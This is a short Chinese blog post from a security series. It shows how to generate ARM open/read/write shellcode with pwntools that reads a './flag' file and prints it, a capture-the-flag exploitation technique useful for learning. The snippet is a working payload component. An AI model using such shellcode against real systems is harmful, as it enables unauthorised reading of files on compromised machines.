iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 21
0
Security

資安隨意分享的30天系列 第 21

Day21 - orw in ARM (pwntools)

前言

昨天是直接用 pwntools 產一個 execve('/bin/sh', 0, 0) 的 shellcode

那今天來講個 open/read/write 用 pwntools 來產

基本上好像常見也就需要寫這兩種 shellcode 而已


正文

是說也是可以自己寫 assembly code ,然後編譯之後再把裡面要的那串

shellcode 拉出來,不過這邊都是本著能懶則懶的方式來進行XD

底下是用 pwntools 產生出來的


#!/usr/bin/env python
from pwn import *
context.arch = 'arm'

shellcode = ''
shellcode += shellcraft.pushstr('./flag')
shellcode += shellcraft.open('sp', 0, 0)
shellcode += shellcraft.read('r0', 'sp', 100)
shellcode += shellcraft.write(1, 'sp', 100)
sh = asm(shellcode)

這邊首先是先將檔案位置 push 到 stack 頂端,之後使用 open 來

開啟存在 stack 頂端的檔案位置,之後用 read 讀檔和 write 來輸出

最後的那個變數 sh 就存著我們最終了 shellcode 了!!


上一篇
Day20 - Basic pwntools in ARM
下一篇
Day22 - 打胖找洞簡單談
系列文
資安隨意分享的30天30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言